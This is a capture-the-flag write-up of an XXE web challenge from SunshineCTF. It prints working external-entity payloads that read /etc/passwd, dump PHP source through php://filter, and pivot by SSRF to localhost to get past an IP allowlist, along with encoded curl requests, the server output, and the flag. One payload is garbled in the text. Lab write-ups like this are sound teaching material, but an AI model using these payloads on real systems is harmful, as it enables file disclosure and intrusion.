SunshineCTF: Wrestler Name Generator

BSides Orlando hosted the SunshineCTF, which was inexplicably full of references to wrestling and The Rock.  One of the web challenges was “Wrestler Name Generator”, which was an XXE-based challenge.  Let’s get started.

Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.

http://ng.sunshinectf.org

Author: dmaria

When we open up the website, we’re greeted with this lovely page:

You put in your name and weapon of choice, and get a new wrestler name, which is really the two names you put in, plus something like “The Slasher” thrown in there.

If you look at the request, it’ll look something like:

http://ng.sunshinectf.org/generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ%2BPGZpcnN0TmFtZT5zPC9maXJzdE5hbWU%2BPGxhc3ROYW1lPnM8L2xhc3ROYW1lPjwvaW5wdXQ%2B

If we take everything after input= and remove the URL encoding, then base64 decode it, we get:

<?xml version='1.0' encoding='UTF-8'?>
<input>
<firstName>s</firstName>
<lastName>s</lastName>
</input>

I had just read a CTF writeup about XXE (from Securinets) and was happy to be able to apply that knowledge.  I followed this writeup.

To demo this, we can try to read /etc/passwd by modifying our request so that we have a base64 encoded, URL-encoded version of the following:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<input>
<firstName&
```e;</firstName>
<lastName&g
```;/lastName>
</input>

You’ll notice that the firstName, lastName and input section changed only slightly.  We swapped out our firstName input for &xxe; which is a reference to the new line that we added after the xml version.  This new XML element should get the file /etc/passwd which will then be displayed in the firstName part of the response.

This worked:

$ curl 'http://ng.sunshinectf.org/generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48IURPQ1RZUEUgZm9vIFsgPCFFTEVNRU5UIGZvbyBBTlkgPjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BPGlucHV0PjxmaXJzdE5hbWU%2BJnh4ZTs8L2ZpcnN0TmFtZT48bGFzdE5hbWU%2BTDwvbGFzdE5hbWU%2BPC9pbnB1dD4%3D' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Wrestler Name Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your Wrestler Name Is:</h1>
  <h2>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
 "The Tactician" L</h2>

<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->
<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
  <a href="/">Go Back</a>
</div>
</body>

Now we have a proof of concept.  However, I got stuck here for quite a while, trying to read /proc/self/cwd/, various directories and files… I was following other people’s examples, but then realized, they had a different server type than I did.  Whoooops.

Getting generate.php

So, after having wasted a few hours on that, getting lots of errors that the server could not find the file I was requesting, I thought, why not ask for a file that I know exists?  Like generate.php?

By the way, it’s much easier to do this with Burp Suite.  Capture one request, then send it to the Repeater, and use the Decoder to quickly URL and base64 encode your messages.

Here, I’m encoding this request to get generate.php in base64 encoding.

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE replace [<!ENTITY doc SYSTEM "php://filter/convert.base64-encode/resource=generate.php">]><input><firstName>&doc;</firstName><lastName>l</lastName></input>

This will result in this beauty of a URL request:

/generate.php?input=%50%44%39%34%62%57%77%67%64%6d%56%79%63%32%6c%76%62%6a%30%6e%4d%53%34%77%4a%79%42%6c%62%6d%4e%76%5a%47%6c%75%5a%7a%30%6e%56%56%52%47%4c%54%67%6e%50%7a%34%38%49%55%52%50%51%31%52%5a%55%45%55%67%63%6d%56%77%62%47%46%6a%5a%53%42%62%50%43%46%46%54%6c%52%4a%56%46%6b%67%5a%47%39%6a%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%32%4e%76%62%6e%5a%6c%63%6e%51%75%59%6d%46%7a%5a%54%59%30%4c%57%56%75%59%32%39%6b%5a%53%39%79%5a%58%4e%76%64%58%4a%6a%5a%54%31%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%6c%30%2b%50%47%6c%75%63%48%56%30%50%6a%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6d%52%76%59%7a%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%38%62%47%46%7a%64%45%35%68%62%57%55%2b%62%44%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%50%43%39%70%62%6e%42%31%64%44%34%3d

Or, as seen in Burp Repeater:

The response we get back, after base64 decoding it, is:

<?php

$whitelist = array(
'127.0.0.1',
'::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
echo $_ENV["FLAG"];
return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
echo "Please include the 'input' get parameter with your request, Brother";
return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate name
$nouns = array("Killer", "Savage", "Stallion", "Coder", "Hacker", "Slasher", "Crusher", "Barbarian", "Ferocious", "Fierce", "Vicious", "Hunter", "Brute", "Tactician", "Expert");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Wrestler Name Generator</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
<h1>Your Wrestler Name Is:</h1>
<h2>$generatedName</h2>
<!--hacker name functionality coming soon!-->
<!--if you're trying to test the hacker name functionality, make sure you're accessing this page from the web server-->

<!--<h2>Your Hacker Name Is: REDACTED</h2>-->
  <a href="/">Go Back</a>
</div>
</body>
</html>

Making a request from the server

The key part from the file is here:

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}

If we either spoof the REMOTE_ADDR field, or we make a request from the server, then we can get the flag.

I couldn’t get my spoofing ideas to work, so instead, I changed my XXE payload to make a request to the file as follows:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE replace [<!ENTITY doc SYSTEM "http://127.0.0.1/generate.php">]>
<input>
<firstName>&doc;</firstName>
<lastName>l</lastName>
</input>

Once again, I base64-encoded my message, and then url-encoded it, using Burp Decoder.

This gave me a new request of:

/generate.php?input=%50%44%39%34%62%57%77%67%64%6d%56%79%63%32%6c%76%62%6a%30%6e%4d%53%34%77%4a%79%42%6c%62%6d%4e%76%5a%47%6c%75%5a%7a%30%6e%56%56%52%47%4c%54%67%6e%50%7a%34%38%49%55%52%50%51%31%52%5a%55%45%55%67%63%6d%56%77%62%47%46%6a%5a%53%42%62%50%43%46%46%54%6c%52%4a%56%46%6b%67%5a%47%39%6a%49%46%4e%5a%55%31%52%46%54%53%41%69%61%48%52%30%63%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%39%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%6c%30%2b%50%47%6c%75%63%48%56%30%50%6a%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6d%52%76%59%7a%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%38%62%47%46%7a%64%45%35%68%62%57%55%2b%62%44%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%50%43%39%70%62%6e%42%31%64%44%34%4b

Since the request is now coming from the server, we get our flag in the response:

The flag is:  sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}.